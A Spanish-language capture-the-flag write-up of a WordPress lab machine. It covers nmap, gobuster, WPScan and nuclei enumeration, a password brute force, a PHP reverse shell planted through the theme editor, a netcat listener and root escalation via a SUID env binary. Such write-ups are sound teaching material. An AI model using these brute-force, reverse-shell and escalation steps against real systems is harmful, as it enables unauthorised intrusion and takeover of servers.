¿Qué veremos en esta máquina?
aprenderemos sobre reconocimiento de red, enumeración de WordPress, detección de vulnerabilidades y ataques de fuerza bruta.
Reconocimiento
Escaneo con Nmap
Comando ejecutado:
nmap -sV -Pn 172.17.0.2
-sV
→ Nos permite identificar el nombre y la versión del servicio en ejecución.
-Pn
→ Le indica a Nmap que no realice un ping para verificar si el host está en línea, asumiendo directamente que está activo.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 19:30 UTC
Nmap scan report for 172.17.0.2
Host is up (0.00018s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=9/7%OT=80%CT=1%CU=31891%PV=Y%DS=1%DC=D%G=Y%M=0242AC
OS:%TM=66DCAA00%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7
OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7C70%W2=7C70%W3=7C70%W4=7C70%W5=7C70%
OS:W6=7C70)ECN(R=Y%DF=Y%T=40%W=7D78%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.18 ms 172.17.0.2
el unico puerto abierto es el 80 con un apache levantado.
Fuzzing con gobuster
comando
gobuster dir -t 15 -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,py,sh,txt,html,js
-t 15
→ Esta opción especifica el número de hilos (threads) que se utilizarán para realizar la búsqueda.
-w
→ especifica la ruta del archivo de lista de palabras que se utilizará para la búsqueda
-x
→ Esta opción especifica las extensiones de archivo que se añadirán a los nombres de archivo y directorio de la lista de palabras durante la búsqueda.
Resultado
wordpress
Como resultado de este escaneo encontramos que se esta ejecutando un wordpres
Enumeración con WPScan
Comando
wpscan -e --url http://172.17.0.2/ --api-token {LLave_api}
-e
→ Le estamos pidiendo a la herramienta que enumere la web, que busque usuario, plugins, temas.
Resultado
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://172.17.0.2/wordpress/ [172.17.0.2]
[+] Started: Sat Sep 7 22:03:40 2024
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.57 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.17.0.2/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.17.0.2/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.17.0.2/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.17.0.2/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
Fingerprinting the version - Time: 00:00:03 <=====================================================> (702 / 702) 100.00% Time: 00:00:03
[i] The WordPress version could not be detected.
[+] WordPress theme in use: twentytwentytwo
| Location: http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/readme.txt
| [!] The version is out of date, the latest version is 1.8
| Style URL: http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/style.css?ver=1.6
| Style Name: Twenty Twenty-Two
| Style URI: https://wordpress.org/themes/twentytwentytwo/
| Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a...
Se identificaron los siguientes hallazgos en WordPress:
-
XML-RPC habilitado: Puede ser explotado para ataques de fuerza bruta y denegación de servicio.
-
Directorio de uploads con listing habilitado: Permite acceso a archivos subidos.
-
WP-Cron habilitado: Puede ser utilizado en ataques DDoS.
-
Tema activo: Twenty Twenty-Two (versión desactualizada: 1.6, última versión: 1.8).
Busqueda de plugins con Nuclei
Comando
nuclei -u http://172.17.0.2/wordpress/ -itags fuzz -t /home/davy/.local/nuclei-templates/http/fuzzing/wordpress-plugins-detect.yaml
resultado
[wordpress-plugins-detect] [http] [info] http://172.17.0.2/wordpress/wp-content/plugins/akismet/readme.txt ["Akismet Anti-spam: Spam Protection","5.3.1"] [pluginSlug="akismet"]
[wordpress-plugins-detect] [http] [info] http://172.17.0.2/wordpress/wp-content/plugins/theme-editor/readme.txt ["Theme Editor","2.8"] [pluginSlug="theme-editor"]
-
Plugins detectados:
-
Akismet (versión 5.3.1)
-
Theme Editor (versión 2.8)
-
Ataque de Fuerza Bruta
Comando ejecutado:
wpscan --url http://172.17.0.2/wordpress -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt --api-token API_KEY
Resultado:
[i] User(s) Identified:
[+] mario
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://172.17.0.2/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - mario / love
Trying mario / love Time: 00:00:04 <================ > (390 / 1399) 27.87% ETA: ??:??:??
-
Usuario encontrado:
mario
-
Credenciales comprometidas:
mario:love
Explotación
accedo al WordPress con las credenciales obtenidas y modificó el archivo index.php
en el editor de temas, insertando la reverse shell de pentestmonky.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Recepción de la shell:
nc -lnvp 4444
Empezamos a enumerar el sistema.
Comando
uname -a
Resultado
Linux 56ed81dead67 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux
Esta maquina no cuenta con mas usuarios que el root
y no esta disponible el comando sudo
Verifico permisos SUID
Comando
find / -perm -4000 2>/dev/null
Resultados
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/env
/usr/bin/mount
/usr/bin/su
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
Se identificó un vector de escalada de privilegios a través de env
:
/usr/bin/env /bin/sh -p
Este comando permitió obtener una shell con privilegios elevados.